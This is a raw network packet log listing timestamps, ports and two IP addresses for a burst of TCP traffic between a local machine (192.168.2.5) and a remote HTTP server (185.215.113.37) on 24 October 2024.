Oct 24, 2024 02:50:21.333659887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.333673000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.333693981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.333703041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.333736897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.333746910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.333795071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.333798885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.333832026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.333841085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.333867073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.333879948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.333900928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.333910942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.333935976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.333939075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.333969116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.333981037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334001064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334007978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334034920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334049940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334067106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334079027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334103107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334108114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334146023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334152937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334187031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334194899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334218979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334227085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334254026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334259033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334286928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334301949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334328890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334342957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334392071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334395885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334425926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334435940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334459066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334466934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334492922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334508896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334527969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334537983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334563017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334570885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334597111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334604979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334635019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334660053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334664106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334680080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334697962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334712029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334731102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334749937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334762096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334770918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334796906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334806919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334830046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334840059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334862947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334872961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334897995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334906101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334930897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334939003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.334964037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.334975004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335000038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335007906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335032940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335042953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335066080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335073948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335099936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335109949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335133076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335139990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335166931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335176945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335205078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335213900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335237980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335242987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335273027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335279942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335304976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335326910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335350990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335361958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335395098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335405111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335428953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335438013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335462093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335472107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335495949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335509062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335530043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335560083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335565090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335588932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335597992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335609913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335630894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335635900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335661888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335683107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335695982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335700035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335727930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335738897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335762024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335773945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335794926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335805893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335832119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.335839987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.335874081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.452589035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.452625990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.452649117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.452681065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.452685118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.452721119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.452755928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.452773094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.452786922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.452809095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.452819109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.452848911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.452862024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.452902079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.452913046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.452958107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.452980995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453015089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453017950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453061104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453066111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453107119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453118086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453151941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453155994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453187943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453191042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453224897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453227043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453260899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453289032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453325033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453340054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453372955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453377962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453408003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453408957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453442097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453444004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453478098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453493118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453527927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453531027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453562975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453566074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453604937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453614950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453649044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453654051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453681946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453682899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453716993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453718901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453752995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453753948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453788042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453789949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453824997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453824043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453859091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453866959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453902006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453908920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453933001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453946114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.453973055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.453978062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454008102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454008102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454041958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454046011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454077005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454078913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454112053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454116106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454150915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454150915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454185963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454221010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454221964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454236031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454260111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454273939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454308033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454309940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454341888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454344988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454376936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454386950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454411030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454415083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454444885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454448938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454479933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454480886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454513073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454519987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454549074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454550028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454583883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454587936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454617977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454622030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454652071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454653978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454685926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454690933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454720974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454725027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454756975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454756975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454792976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454802990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454823017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454829931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454857111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454878092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454891920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454893112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454925060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454927921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454960108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.454965115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.454993963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455008030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455029011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455041885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455061913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455068111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455099106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455102921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455132961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455135107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455168009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455169916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455200911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455208063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455236912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455239058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455271006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455271959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455305099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455316067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455348015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455385923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455420017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455425024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455455065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455456972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455490112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.455492020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.455528021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.526263952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.531567097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.805696011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.805742979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.805793047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.805793047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.805797100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.805835962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.805849075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.805896044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.805968046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806003094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806019068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806035042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806036949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806077957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806102991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806135893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806147099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806170940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806176901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806205034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806211948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806245089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806255102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806283951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806297064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806330919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806333065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806369066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806376934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806402922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806416988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806457996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806459904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806500912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806509018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806545019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806552887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806576967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806595087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806612968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806622028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806653976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806663036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806696892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806708097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806735992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806746006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806781054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806792021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806814909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806839943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806849003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:21.806858063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:21.806879997 CEST	80	49704	185.215.113.37	192.168.2.5
